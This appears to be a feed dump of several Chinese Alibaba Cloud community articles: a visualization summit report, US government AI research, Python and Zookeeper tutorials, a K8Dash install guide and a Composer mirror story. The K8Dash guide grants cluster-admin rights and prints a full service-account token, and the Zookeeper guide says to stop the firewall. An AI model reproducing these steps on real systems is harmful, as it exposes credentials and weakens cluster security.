        梅鸿辉博士为我们分享了数据可视化的展望与趋势,其中包括中国可视化发展在国际上崛起的历史、可视化学术研发的方向、以及“可视化+”的概念等等。大数据的数据获取、数据清洗、数据模型、数据分析、预测仿真这些环节中都能与可视化融合,形成了可视化+的概念。更提到,数据可视化的研发趋势需要从小数据扩展到大数据,从少数专家扩展到广泛的不特定群体,在实际应用中强调方法的性能、使用的简捷和系统的智能。

        阿里云数据可视化团队技术负责人宁朗

        宁朗是阿里最早跟随团队将数据可视化真正落地到数据产品,并推动可视化技术能力对外输出的。他在会上中指出大数据可视化不仅仅是数据大屏,强调大数据大屏完成之前的数据收集和清洗非常关键,需要打破数据链融通之间的隔阂。他认为,数据可视化要有行业开发规范、把握创新边界,还要考虑呈现数据对象的感受,而不是盲目的开发。而通过可视化工具,可以响应可视化的快速变动。

        宁朗.jpg

        洞察可视化生态机会点及DataV规划

        随着物联网、云计算、移动互联网等技术的突破,更多的数据得到收集,同时也推动了数据可视化一直不断发展,目前金融、交通运输、生产领域、医疗卫生等行业更是对数据可视化愈发显示刚性需求,正在推进可视化发展的上升拐点。
        可视化的终极目标是洞悉蕴含在数据中的现象和规律,从而帮助用户高效而准确的进行决策,所以可视化生态发展的机会点也是业界一直所关注的。

        ECharts可视分析负责人李德清

        在会上详细地介绍了E charts在可视化中的基建,它基于 Javascript 的数据可视化图表库,可提供直观、生动、可交互、可个性化定制的数据可视化图表。

        李得清.jpg

        数据城市派的CEO派姐

        数据可视化工具可以帮助企业降低数据可视化的成本,使杂乱、大量的数据的可读性得到提高,让企业可以在数据中找到规律,行业上有许多数据可视化案例可以借鉴。目前在实际应用中数据可视化也具有非常广泛的应用场景。作为专业的大数据服务商,派姐对数据可视化的应用场景有深刻的理解,在演讲中以“数据可视化的应用场景”为主题分享了自己的见解。派姐首先回顾了城市规划可视化的发展历程,总结了大数据时代下,城市规划师利用数据可视化的各类场景,包括前期分析、现状分析、辅助设计、辅助决策、辅助服务与管理、数字孪生、感知未来等多种场景。对城市规划圈的数据可视化应用与发展提出了一些希望与建议。

        派姐.jpg

        阿里云产品专家央久

        作为最早进入可视化领域产品之一的DataV,从双11出发,经历过开源、产品化、打包解决方案、再到平台化,数据大屏应用场景也从双 11 电商作战,扩展到智慧城市、智慧交通等诸多领域,所以DataV未来的规划也是备受关注。央久在会上表示DataV未来要做专业化、行业化、智能化的可视化开发工具平台, 能完整地帮助数据可视化从管理到投放,从单点功能向全面化智能发展。

        央九1.jpg

        大屏显示领域资深技术专家董航程

        董航程在《数据可视化LED屏的行业趋势》的演讲中指出目前人性化的设计对工业设计是非常重要的,DataV+优秀的大屏硬件才是未来更好的可视化软硬一体的解决方案。

        董航程.jpg

        阿里云MVP陈琦

        陈琦在现场与大家分享了《数据可视化工作流进化史》。陈琦的团队依托阿里云强大的产品支撑能力,为中央宣传部、国家电网、上海申通地铁等大型国企提供专业的数据可视化定制解决方案。他认为数据可视化的大屏要做数据科学的艺术品,优秀的数据可视化大屏要让观众找到共鸣、找到规律。

        陈琦.jpg

        此次峰会我们一起探讨了数据可视化的学术动态,了解了数据可视化的基建和技术构建,以及对应用场景的探讨和更多的对未来的期待。相信未来数据可视化会以更细化的形式表达数据,以更全面的维度理解数据,以更美的方式呈现数据,使可视化更加具有冲击力。

        ]]>
        2019年美国政府开展了哪些前沿AI研究项目|全球快讯-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 2019年,美国政府划拨的科研经费为1400亿美元。在众多政府研究项目中,美国国防高级研究计划局(DARPA)和情报高级研究计划局(IARPA)开展的往往最具创新性,例如DARPA此前的研究为互联网、GPS等我们今天熟知的技术奠定了基础。

        现在,这两个机构仍然在进行着类似的开创性研究,努力将今天的科技推向一个新的高度。了解这些研究项目有助于我们了解未来科技行业的发展方向。

        DARPA

        去年,DARPA宣布将投资约20亿美元,带来所谓的“第三波”人工智能浪潮——具有推理能力、能够像人一样交流的系统。现在,这些项目已经在开展中。

        今年3月,DARPA开始探索如何让Siri和Alexa等AI系统更好地自学语言。研究员们本质上希望这些系统能够像人类婴儿一样,通过观察周围世界来学习语言,而不是费力地通过庞大的数据集来学习。在这个项目中,研究人员们让AI系统学会将视觉线索(照片、视频和现场演示)与它们听到的声音相关联,最终目标是开发出一种能够真正理解自己所讲内容含义的AI系统。

        DARPA还希望AI工具能够评估自己的专业知识,在自己不懂的时候通知操作员。今年2月,该机构启动了“能力感知机器学习”项目,旨在让AI系统对自己的行为进行建模,评估过去的错误,然后将这些信息应用到未来决策中。如果这些AI系统认为自己给出的结果可能不准确,它们会告知用户。

        开发AI的最大障碍之一是它们的运行需要巨大的计算能力。为了减少这方面的阻碍,DARPA推出了MicroBRAIN项目,目前正在研究“非常小的飞行昆虫”的大脑,以获取灵感,设计出更节能的AI。

        除了改进AI技术本身,DARPA还在利用这项技术解决政府当前面临的一些最紧迫的问题,如教计算机自动检测深度伪造(deepfake)中的错误。官员们也在投资AI,利用这项技术设计更安全的武器系统、车辆和其他网络连接平台。

        除了AI,DARPA正在开发的其他前沿技术包括卫星修复机器人、地下自动测绘技术等。

        IARPA

        AI在国家安全领域有许多应用场景,在2019年,加强监视是IARPA的一个主要目标。

        今年4月,这家机构宣布将尝试让AI无缝整合和分析收集自飞机、无人机和其他飞行器的卫星图像和素材。这个名为“基于空间的机器自动识别技术”的项目本质上是希望使用AI来实时监控全球所有的人类活动。这项技术将整合来自多个来源的数据,自动检测和监视地球上的主要建设项目和其他“人为活动”,密切关注各个地方的变化。

        IARPA还在利用AI来更好地监控人类的地面活动。今年5月,该机构开始招募团队培训算法,以跟踪人的行踪。具体而言,AI将把安全摄像机拍摄的内容整合在一起,让各机构在拥挤的人群中跟踪个人的行踪。

        将这项技术与远程生物特征识别系统(IARPA也从2019年开始探索这项技术)结合在一起,你可以让机器来识别个人身份并跟踪其行踪,你自己不需要动一根手指头。

        转自创头条,原文链接:http://www.ctoutiao.com/2573620.html

        ]]>
        break和continue | Python从入门到精通:入门篇之十九-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 第十八节:用循环嵌套语句打印九九乘法表

        循环终止

        19.1 break

        break可以用来终止循环,立即退出循环语句(包括else)。
        先来看一个示例:创建一个5次的循环。

        i=0
        while i < 5 :
            print(i)
            i += 1
        else :
            print('循环结束')

        执行结果为:
        image.png
        接下来我们为该循环语句加上break,再来看一下效果:

        i=0
        while i < 5 :
            if i == 3 :
                break
            print(i)
            i += 1
        else :
            print('循环结束')

        执行结果为:
        image.png
        只显示了‘0’、‘1’、‘2’,因为当i=3的时候,循环遇到了break被结束了,包括else后面的语句也一起不执行。

        19.2 continue

        continue用来跳过当次循环。
        还是用上面的例子:创建一个5次的循环。

        i=0
        while i < 5 :
            print(i)
            i += 1
        else :
            print('循环结束')

        执行结果为:
        image.png
        接下来我们为程序加上continue语句:

        i=0
        while i < 5 :
            if i == 3 :
                continue 
            print(i)
            i += 1
        else :
            print('循环结束')

        执行结果为:
        image.png
        这个结果和我们想象中有点不一样,continue终止的应该是本次循环,但是后面的4也不出现了。检查下程序哪里出了问题,会发现是continue语句写在了上面,后面的print语句和i自增的语句默认为continue的当次循环语句,所以也不再执行了,我们将循环更新的条件放到上面。

        i=0
        while i < 5 :
            i += 1
            if i == 3 :
                continue
            print(i)
        else :
            print('循环结束')

        执行结果为:
        image.png
        当i=3的时候,循环语句跳过了,直接执行了下次循环。
        将continue改成break再看下:

        i=0
        while i < 5 :
            i += 1
            if i == 3 :
                break 
            print(i)
        else :
            print('循环结束')

        执行结果为:
        image.png
        结束了整个循环。
        综上所述:break用来终止整个循环,包括else语句,而continue用来终止当次循环,程序会跳过当次循环,进入下一次。注意:如果有多层循环嵌套,两者都是只对离它最近的循环体起作用。

        ]]>
        创业明星|宜创科技创始人宜博:一个不想改变世界的程序员不是一个好的创业者 Fri, 02 May 2025 09:39:04 +0800

        不想错过16年前的淘宝
        7年前的天猫
        阿里云发起了“赛道明星班”
        挖掘和帮助更多的优秀科技型创企
        为企业赋能、为创新加速
        做云生态的创企加速器
        本期人物是赛道明星班64号学员---宜博

        IT技术支撑了全球信息化浪潮,然而软件开发效率却难以像摩尔定律一样快速提升,以至于成为瓶颈。近几年,低代码领域发展迅速,赛道跑出了超10亿美元估值的独角兽OutSystems,巨头企业AWS、Google、Microsoft、Oracle、西门子等也纷纷推出低代码开发平台或通过收购布局低代码。

        低代码开发平台,是指那些无需编码或通过少量代码就可以快速生成应用程序的工具,其一方面可以降低企业应用开发人力成本,另一方面可以将原有数月甚至数年的开发时间成倍缩短,从而帮助企业实现降本增效、灵活迭代的价值。

        在美国,这一领域已经产生了多个独角兽和准独角兽级别的公司,如Outsystem和Skuid,市场接受程度已经很高。据不完全预估,目前中国的低代码应用开发的渗透率不到5%,而美国的渗透率至少在40%以上,预计到2020年达到75%。中国的低代码平台仍有巨大的发展潜力。

        在阿里云创新中心平台上,也孵化出了一批低代码创业公司,宜创科技就是其中一家。初见创始人宜博,是在今年1月份“赛道明星班”北京面试现场,高高的个子,身着程序猿式慵懒T-shirt,话不多,显得格外斯文。接触了近一年后,原来是一个内心有“火”的大男孩。

        image.png

        心中有火 眼里有光的程序员

        宜博,自小便对科技充满了好奇与热情,成长过程中,对电脑编程更是有着格外浓厚的兴趣。1997年,在那个电脑远远没有普及之时,正在念初三的宜博就已经开始学习C语言编程。那个时候,宜博心中最崇拜的人莫过于比尔盖茨,“这个人是个传奇,靠卖软件改变世界,开拓一个新时代”。宜博也希望自己能在新的虚拟世界里做出成绩,实现人生价值。

        毕业初期,宜博在计算机行业和编程领域不断拼搏,但逐渐他发现,仅凭写代码是很难真正改变世界的;他开始跳出来审视自己,一边攻读清华经管MBA一边努力在销售、管理等多个商业领域做尝试和探索,逐步实现了从单一的程序员思维到立体的商业思维的转变。

        应用产品达千万级日活

        宜创科技致力于机器替代人编程,基于自主知识产权的可视化编程语言提升10倍开发效率,hpaPaaS实现企业数字化随需定制。无代码提供的服务由底层可视化编程语言hex,部署云平台hexyun,软件模板市场wudaima,SaaS移动平台企业内外组成。

        无代码”开发解决效率问题,”APaaS“则提供定制化的能力。“无代码APaaS”基于“原子级”对编程语言的可视化封装技术,实现所见即所得的开发方式,由机器自动编译出高质量代码,并自动部署到云端,相比于传统的前端或APP开发方式提升了10倍效率。

        但“原子级”的产品对终端客户仍然有一定学习成本,且复用能力较弱,因此,宜创科技又开发了对编代码编程要求更低的“分子级”产品。这是一个全流程可视化模板开发平台,具备软件全流程线上开发的能力和付费模板市场。使用这个开发平台的客户只要按照线上标准流程梳理完产品需求和UI/UE设计,平台就自动完成了50%以上的架构搭建和开发工作。这种边开会边开发的模式,减少了传统开发过程中需求设计与开发测试之间信息衰减带来的效率磨损。

        除了提升定制化开发的效率,无代码APaaS平台的价值还在于节省成本。在公司以往的服务案例中,原本30个人3个月的工作量,在使用无代码APaaS平台后,只需要由15个人工作1个月的就可以完成,有效降低工期和开发成本。

        image.png

        客户方面,宜博表示,低代码平台的采购方不仅是SaaS厂商以及终端企业客户,大企业内部业务部门和开发者也是宜创科技的服务对象。无代码APaaS的服务包括线上的开发云平台和线下的私有化APaaS定制化两种模式。2018年,公司为其标杆客户(包括阿里巴巴集团,我爱我家集团,清华大学等)提供包括私有化的APaaS平台及软件开发服务等多种服务,项目金额在几万到几千万不等,部分标杆客户的应用产品达到了千万级别的日活,这也进一步验证了公司产品在代码优化和云端部署方面的质量,稳定性和安全性。

        未来,随着产品技术的不断完善与进步,宜创无代码将在互联网门户,金融,O2O,电商,移动IM,办公协同,移动社交,外卖招聘等多个移动及产业互联网等领域有更广泛的应用空间。

        宜博告诉我们:宜创无代码的使命是,无代码技术赋能每一个企业数字化;愿景是,让业务专注于业务,让程序员腾出时间做更有意义的事情。宜创无代码一直以来秉承的理念是:a.快速创新:低试错成本;b.快速交付:低项目成本。

        赛道明星班,资源的加持

        在今年的1月份,宜博通过了“赛道明星班”第二期的面试(学号:64)。通过赛道明星”,宜博结识了各个赛道的精英创始人,与阿里巴巴集团的各条业务线及知名投资机构等产生了深度链接。自今年入班以来,宜创已经成为阿里云IoT、钉钉、阿里云创业中心等多个阿里部门的合作伙伴,目前还正在协同阿里集团技术公益,支持更多公益项目开发。

        image.png

        2019年6-8月中,宜创科技拿下了1家投资机构的TS,12家机构的NDA,见了9位合伙人级别的投资人,25位投资经理,收获了36氪的全方位媒体曝光。在营收方面,仅目前已上线的AIoT平台,第一个月就实现了200万的收益,营收进一步取得突破。

        “加入赛道明星班,让我们直接与朱啸虎、黄明明等一线投资人沟通并建立私人联系,还有首任阿里巴巴铁军校长李立恒等强大顾问团队的加持,项目少走了很多弯路。”宜博在此前接受媒体采访时说。

        自赛道明星班启动以来,已成功举办三期,共聚集100位优秀的企业创始人,覆盖AIoT、新零售、新金融、企业服务、移动办公、新科技、机器人、医疗、新能源、智慧教育等多个领域,深入14条行业细分赛道。

        到目前为止,学员已与阿里达摩院、阿里云智能、AIoT、钉钉、蚂蚁金服、阿里平头哥、淘宝、天猫等60多条业务线建立链接,产生1000+业务合作,累计130+媒体报道、1500W+阅读量,近200家资本参与赛道明星班项目,达成56笔投资,估值增长263%,已达到718亿。

        image.png

        据悉,“赛道明星班”第四期已经启动全球招募,扫描下方二维码,获取面试机会!

        image.png

        原文链接:https://mp.weixin.qq.com/s/CHwaTSpSG6R8Q0yR4ePBMQ

        ]]>
        Zookeeper学习分享 Fri, 02 May 2025 09:39:04 +0800 1. Zookeeper简介

        Zookeeper是hadoop的分布式协调服务,适用与服务部署管理,是从传统的互联网架构演化而来。传统单体应用系统的耦合度非常高、启动应用时间长、依赖庞大等,zookeeper架构相对传统架构更加简单,更加可靠。

        下图为zookeeper架构的角色分布图:

        image.png

        介绍:

        1. Leader:领导者,负责发起决议,如果有client发送请求到某个server,会由leader进行选举决议,如果过半的server同意则开始执行请求,如果leader出现宕机,follower会选举出新的leader。
        2. Follower:跟随者,接收client请求,只能单独处理读请求,如果存在写请求则将请求上报leader,当leader发起决议时参与决议,且执行。
        3. Observer:观察者,没有选举权的follower,为了提高整体读性能,因为参与选举比较耗时。

        2. Zookeeper在测试中的应用

        Zookeeper在测试应用中的优势

        对于日渐庞大的测试体系,测试人员无法很好的对设备进行管理,自动化测试使用频率越来越高,导致设备“忙不过来”,执行测试任务时以及开发人员调试时需要花费大量的时间搭建测试、开发环境,花费精力去维护环境。但是有了zookeeper架构,一切就变得简单了。

        列出以下几点使用优势:

        1. 测试、开发人员更加快速的进行测试及调试节
        2. 稳定性测试过程中能够更加实时的对设备监控
        3. 对于大型的自动化测试平台无法进行负载均衡,可以合理利用此框架进行资源调配
        4. 用户面向对象不再是硬件设备,只要提供硬件型号就能分配到所需设备
        5. 不用花费大量心思去维护设备。只要你请求,它就会合理分配给你,到资源不够分配再进行统一维护

        实施思路

        下图为基本应用框架:

        image.png

        根据需要了解设备特性,定制不同类型的代理服务器,统一在zookeeper server创建设备节点,对于用户而言看只要通过对zookeeper server请求对应型号的设备,server端就会把空闲的节点参数分配给用户,且把节点加锁。直到用户使用完毕发送解锁指令后server端把设备设置成空闲状态。

        ​ 下图为一个简单的运作流程图:

        image.png

        3. 环境搭建

        ​ 这里使用ubuntu系统来搭建环境

        1. 安装zookeeper

        下载链接:http://archive.apache.org/dist/zookeeper/ 选择对应版本进行下载]解压,这里选择的是3.4.8版本

        解压后的目录结构:

        image.png

        进入bin目录:

        image.png

        这里面有很多可执行文件,这里使用zkServer.sh启动zookeeper服务

        image.png

        这里没有配置端口默认端口为2181,以上就算是启动了一个zookeeper服务

        1. 使用client基本命令

        开启服务后执行./zkCli.sh -server localhost:2181,进入client模式

        4. zookeper的节点和使用

        zookeeper节点介绍

        zookeeper节点目录结构为树形结构

        client可以创建节点以及节点的子节点,且能在节点中添加数据。下图为节点结构图:

        image.png

        Zookeeper cli使用

        那么如何创建节点呢?

        连接进入client后使用help命令查看client功能

        image.png

        基本功能介绍

        create [-s] [-e] path data acl

        -s :创建一个顺序节点

        -e :创建一个临时节点;在于客户端断连时,临时节点会被删除,且临时节点没有子节点

        data:节点数据

        举例:create -s /test 1234

        ls path [watch]

        列出Path下对应的Znode

        watch:能够监听Znode的的所有变化,可以不选

        get path [watch]

        获取Path对应的Znode的数据和属性

        ls2 path [watch]

        查看Path下所有子Znode以及子Znode的属性

        set path data [version]

        更新节点

        delete path [version]

        删除节点, 如果要删除的节点有子Znode则无法删除

        rmr path

        删除节点, 如果有子Znode则递归删除

        5. Zookeeper实战

        这里在一台PC中建立三个zookeeper sever,当然,在实际搭建集群时应该把集群搭建在不同的服务器中。

        文件配置

        ​ 进入conf目录;能够 查看到zoo.cfg

        ​ 配置server.1、server.2、server.3

        配置文件中端口的作用:clientport中2815为对client端提供服务的端口;2881为集群内及其通讯使用的端口;3881为集群选举leader时使用的端口

        dataDir:服务本地数据储存目录

        image.png

        复制zoo.cfg为zoo2.cfg、zoo3.cfg 修改clientPort配置分别为2182、2183;修改dataDir分别为data2、data3

        那么如何把server.x与实际服务器对应起来呢?

        在dataDir目录我这边是/tmp/zookeeper/;在data、data2、data3目录中(如果没有此目录需新建)新建myid目录,此文件的作用为标注服务的唯一标识,分别对应config文件中server.x中的x;此步骤为关键步骤

        操作:
        mkdir /tmp/zookeeper/data;vim myid;
        编辑文件内容为1;

        ​mkdir /tmp/zookeeper/data2;vim myid;

        编辑文件内容为2;

        mkdir /tmp/zookeeper/data3;vim myid;

        编辑文件内容为3;

        启动服务

        进入bin目录,分别执行./zkServer.sh start ../conf/zoo.cfg;./zkServer.sh start ../conf/zoo2.cfg;./zkServer.sh start ../conf/zoo3.cfg开启三个服务

        注意:如果没有关闭防火墙需要关闭防火墙才能开启服务systemctl stop firewalld.service

        正确开启服务后我们使用./zkServer.sh status来查看服务状态

        ./zkServer.sh start ../conf/zoo.cfg

        image.png

        ./zkServer.sh start ../conf/zoo2.cfg

        image.png

        ./zkServer.sh start ../conf/zoo3.cfg

        image.png

        ./zkServer.sh status ../conf/zoo.cfg

        image.png

        ./zkServer.sh status ../conf/zoo2.cfg

        image.png

        ./zkServer.sh status ../conf/zoo3.cfg

        image.png

        这里选举出server.2为leader,server.1和server.3为flower。

        ​ client与server.1连接,./zkCli.sh -server localhost:2185

        ​ 创建Znode, create -s /test 12345;会顺序创建一个id为0的node

        image.png

        ​ get /test0000000000

        image.png

        查看到test node下的数据,此时,我们退出连接另一个server

        ./zkCli.sh -server localhost:2182;我们同样可以查看到node信息

        image.png

        在此服务中进行对test的监听get /test0000000000 watch

        在server.1服务中修改test节点,此服务会跳出事件

        image.png

        6. 总结

        通过对zookeeper架构的学习,发现它是一个既好上手又有很大实际用途的工具,我们需要学会如何合理利用好它,对于我们这种多项目多设备并行的测试人员来说,通过它来管理我们的设备,可以非常有效的节省我们的时间,消除了很多此类的烦恼。消除烦恼便能快乐工作。

        原文作者:humm1
        点击查看原文

        ]]>
        K8Dash - 强大的k8s dashboard Fri, 02 May 2025 09:39:04 +0800 K8Dash是管理Kubernetes集群的最简单方法。为什么?

        • 全面的群集管理:命名空间,节点,窗格,副本集,部署,存储,RBAC等
        • 快速且始终如一的即时更新:无需刷新页面即可查看最新信息
        • 一目了然地快速可视化集群运行状况:实时图表可帮助快速跟踪性能不佳的资源
        • 易于CRUD和扩展:加上内联API文档,可以轻松了解每个字段的作用
        • 简单的OpenID集成:无需特殊代理
        • 安装简单:使用提供的yaml资源在不到1分钟的时间内启动K8Dash并运行(不严重)

        依赖

        • 运行中的k8s集群
        • 安装metric-server(可以查看历史文章)
        • k8s集群为OpenId配置连接认证

        安装

        • 部署
        # 很久没更新了高版本需要改一下deployment的版本 apps/v1,端口改为nodeport
        kubectl apply -f https://raw.githubusercontent.com/herbrandson/k8dash/master/kubernetes-k8dash.yaml
        • 确保pod和svc状态正常
        kubectl get  -n kube-system deploy/k8dash svc/k8dash
        NAME                     READY   UP-TO-DATE   AVAILABLE   AGE
        deployment.apps/k8dash   1/1     1            1           2m55s
        
        NAME             TYPE       CLUSTER-IP     EXTERNAL-IP   PORT(S)        AGE
        service/k8dash   NodePort   200.0.160.93   <none>        80:30354/TCP   4m17s
        • 生成token
        kubectl create serviceaccount k8dash -n kube-system
        kubectl create clusterrolebinding k8dash --clusterrole=cluster-admin --serviceaccount=kube-system:k8dash
        kubectl get secret k8dash-token-kpt25 -n kube-system -o yaml | grep 'token:' | awk '{print $2}' | base64 -d
        eyJhbGciOiJSUzI1NiIsImtpZCI6ImZ6UWpVcGVfUktkc0tfU0FLOFFlRnQ4QTJGR1JwRmZZNzJFWEZCUi1xTlUifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJkZWZhdWx0Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZWNyZXQubmFtZSI6Ims4ZGFzaC10b2tlbi1rcHQyNSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50Lm5hbWUiOiJrOGRhc2giLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiJkNjgxNDBlNi0zMWE2LTRhZDgtYmRlYy1jZGMwMDI0ZTFiY2IiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6ZGVmYXVsdDprOGRhc2gifQ.sqYyMQPWeHwbaKEp-GahWJiPWSGETGMD-12sHIS08l2dXZEsv1zr8r_mWK56u7LHAnpEKeW8HtVZ-8VMpbYAyQdYBn_rqOpa81E0Gi7JsGTKCKuHJ4UB8fx6zGS4O397Pcn9iKxtQKjEo0JhnIfhDuZUC4yl0Fren60csBpHsGbUs6uSTH1n7BFL1Xk_Slzym9hZVnrrdyWlBXnHPo8xt7GvvbL7hMKJZ23Fk9HqNejjxcEUQMliMi25-rVkh8muO-n6uYoTdupMMwTpk34d8vTgq_XfuM95elCEMc2VWjGXYrRVkViIyomIzRHn_taQ-udRraWS-9_q6khjjWOd2g
        • 使用token访问k8dash


        参考:

        https://github.com/herbrandson/k8dashdash

        欢迎关注公众号: 有点技术

        ]]>
        PHP 依赖镜像出问题后,阿里工程师的一顿“神操作“令人叫绝! Fri, 02 May 2025 09:39:04 +0800 作者 | 顾咏

        一则消息

        前段时间,因为国际网络不稳定问题,国内各大Composer镜像都出现了间歇性无法访问情况,这对国内PHPer的生产工作造成了极大的影响。受此影响,国内各家Composer服务都出现了相同的问题,而阿里工程师的这个解决方案堪称“简单粗暴”,效率高到没朋友!

        阿里云的 PHP Composer 最初研发灵感源自阿里内部一位 90 后工程师顾咏。作为负责开发阿里云产品的 PHP SDK的工程师,他在工作中经常遇到同一个问题:尽管已经根据PHP 最新版本发布了新的 SDK,但由于镜像工具没有实时同步版本,导致用户安装不成功。 此外,云效平台企业开发者对镜像工具的使用体验,同样受到这个问题的困扰,为此,阿里技术团队一起设计开发并开源了这套阿里云版镜像工具。

        此次国际网络不稳定导致的镜像问题,阿里工程师顾咏第一时间响应了PHPer的诉求,连夜排查问题。 “我们程序员都离不开这个,越早解决越好”,最后终于成功定位问题、完成系统更新,解决了大家的燃眉之急。群里的开发者主动发红包向其致谢,顾咏十分感动,然后拒绝了他:“应该做的,红包不能收。”

        1201.jpg

        对于PHP 开发者来说,Composer 是必不可少的依赖包管理工具,作为存储 Composer 依赖包的 Packagist,却时常因为网络问题让国内开发者头痛不已,国内开发者安装依赖通常很慢,或者超时导致无法安装,却又没有稳定的镜像服务可以使用。Packagist 鼓励开发者建立镜像,但目前的镜像也有诸多不稳定、不可靠的情况。

        阿里云Composer 镜像的推出

        今年七月,阿里云提供了 Packagist/Composer 全量镜像服务,其秒级同步的能力、快速稳定的下载服务、页面上的动态数据展示得到了开发者的一致好评。

        1202.png

        阿里云Composer 镜像的升级

        11月16日开始,由于 Composer 镜像出现了间歇性无法访问情况,不少网友通过阿里云钉钉服务群反应阿里云镜像出现不可用的情况,主要 zlib_decode 和 404 错误。在测试其他镜像作对比时发现,其他镜像也存在此类情况。接到反馈后,我们第一时间进行问题排查:

        问题定位:阿里工程师立即查看系统状态和日志,未发现异常。初步怀疑是由于 CDN 接入层收国际网络延迟导致不可用。

        验证:阿里工程师笔将相同的数据回传至国内 Bucket ,在今经多次、多地域直接访问测试,均成功。

        决心升级:以往偶尔遇到这种问题,都被当做正常现象对待,而此次持续时间较长,影响面广,为了彻底解决这类问题,阿里决定升级镜像系统部署方案,直接将最新数据传回国内。

        已知现有 Packagist 镜像的问题

        1)同步的数据不是 Packagist 的根数据。事实上,官方的根数据不对外公开,开发者平时所访问的数据是镜像,甚至是镜像的镜像。当客户端发起请求后,请求会被官方 DNS 指向其他的镜像站,这些镜像数据与根数据之间已经存在延迟。而由于国际网络或系统设计原因,曾经出现初次官方镜像站与根数据长达数小时不同步 的情况。

        2)没有处理代码包 dist。大多数依赖包的源代码存储在在github、gitlab上,因为网络问题,也会导致使用者下载速度慢,甚至下载失败。这也是镜像站需要关注处理的,一般镜像只提供 meta 数据(包数据)。例如官方推荐的 Webysther's mirror code 镜像同步系统就不处理dist。

        3)本地文件存储。目前已知的其他镜像系统,是将文件存储在本地,或至少先存储在本地再上传,这样不仅会消耗大量本地磁盘空间,还存在系统最大子目录限制,会使得系统存在致命瓶颈。优化版本使用的软连接方案也会随着包的无限增长需要重构。

        4)单进程,性能表现不佳,消耗 CPU、内存资源大。且处理数据耗时长,更新速度慢,系统的设计导致任务不能分发,且同步时间间隔越长,同步的时间越常。

        5)没有数据错误统计,官方源数据存在错误,也需要直观的展示,让开发者了解情况。

        6)系统同步状态、数据不可视化,镜像是否已更新?什么时候更新?今天更新了多少?下一次什么时候更新?这些数据开发者都不知道。

        阿里云镜像的优势

        阿里云镜像的架构核心目标是实时、快读、稳定、可移植、可扩展,且具备对数据进行自我修复的能力。那么阿里云镜像和其他镜像有什么区别?阿里云镜像又是如何做到秒级同步的呢?

        官方合作

        在数据上,阿里云与 Packagist 官方合作,经过和 Packagist 沟通,阿里云在距离官方根数据最近的城市节点部署了服务器,同时阿里云的服务器 IP地址 被加入 Packagist 白名单,允许直接、频繁地访问其根数据(Meta)。获取和解析 Meta 后,系统从代码仓库中下载源代码压缩包,再通过阿里云洛神网络不限带宽的将数据传回国内,这从最大程度上保证了国内用户可以及时、快速地获取最新数据。开发者使用 Composer 安装依赖的数据,都是镜像,甚至是镜像的镜像。例如官方在新加坡的镜像,就数次出现长达数小时的不更新,以此为镜像源的镜像站就无法为开发者提供正常的服务。

        实时

        阿里云实时同步源数据,对于以下场景的用户具有十分重要的意义:

        1. 迫切需要更新补丁依赖包的使用者。当一个依赖包被发现有bug,得到修复后使用者往往需要第一时间升级更新,镜像同步的越及时、服务越稳定,使用者的补丁修复的也就越早,止损也就更及时。
        2. 检查依赖包发布状态的包开发者来说。对于包的开发者,在发布包后,能尽快的检查发布状态,通过安装命令验证其作品的可用性。

        自主研发高性能系统

        同步系统由阿里云自主研发,采用 Golang 编写,使用 Redis 做任务队列,心跳协程将更新的数据文件分发到任务队列,30个协程各自分工获取数据传回国内OSS。这意味着所要同步的数据不再是一个单进程按照顺序一个一个传输,而是多个协程,甚至是多台机上的多个协程一起分工,这又将同步时间大幅度缩短。

        只分发有效任务

        在任务分发的机制上,实现了任务不重复,由于内存会记录已经成功处理过的任务和已分发的任务,所以不会分发旧文件,也不会发布相同的任务,这避免无效、重复工作,更是大幅度的减少了工作量,降低延迟。

        重试机制

        对于数据获取错误的情况,系统具有重试机制,对于因为网络问题暂时访问错误的源数据、代码包,系统会重试请求。

        文件存储

        阿里云 Composer 全量镜像,依靠阿里云强大的 OSS 存储源数据和代码压缩包,不占用本地磁盘,在避免最大子目录的问题的同时,还能轻松移植、扩展系统。

        错误记录

        记录和统计官方错误,阿里云将官方记录当中的一些错误记录下来,在方便内部随时排查问题的同时,也能更准确的了解 Packagist 的情况。

        自我修复

        处理不成功的任务不会被记录,在间隔时间极短的下一次同步中会得到修复。而执行错误的任务则会使用重试修复。

        如果需要人工修复,只需删除响应的 KEY,系统即可重新执行并更新状态。

        CDN 支撑

        镜像数据对外,接入了阿里云全国 CDN 节点,阿里云强大的网络基础设施保证了开发者如丝般顺滑的使用体验。

        状态数据可视化

        镜像系统数据状态可视,在阿里云 Composer 全量镜像的官方页面上,动态显示 Packagist 最后更新时间,阿里云同步耗时、下一次刷新 CDN 的时间,系统同步的状态和数据让开发者“心中有数”。

        1203.jpg

        免费全量镜像站,开发者的福音

        阿里做镜像站的历史最早可追溯至2011年,从最开始阿里内部的需求,扩展到为更广大的开发者免费投入资源,提供更快、更稳定的镜像资源。从最初的几台设备,成长为现在覆盖主流语言和主流操作系统的全量镜像站。并且,在这个过程中,一直坚持免费为开发者提供镜像资源,不断追求更快、更稳定的服务。

        目前阿里云镜像站不仅提供Centos、Ubuntu、 Fedora、Arch Linux、 Deepin 等10多个发行版的软件安装源和ISO下载服务, 还提供Python, Php 等多款开发语言的包管理镜像服务以及nvidia-cuda, homebrew, kubernetes等 10 多款垂直仓库的镜像服务。每月下载包文件数量已经超过 7 亿次。

        国内镜像所做的是缓存所有安装包和元数据到自己的服务器,并通过国内 CDN 进行加速,实现 Composer require/install/update 的操作,并达到最快速度。阿里云的 PHP Composer 全量镜像能够实现与 PHP Packagist 官方实时同步,通过自研的镜像同步系统,实现多协程分工同步、数据自我修复的能力,在保证快速同步的同时,也能快速修复因网络不稳定造成的数据错误。

        ]]>
        高德网络定位算法的演进 Fri, 02 May 2025 09:39:04 +0800 1.导读
        GPS定位精度高,且早已成为移动设备标配,但GPS也具有一些难以克服的缺陷,包括:

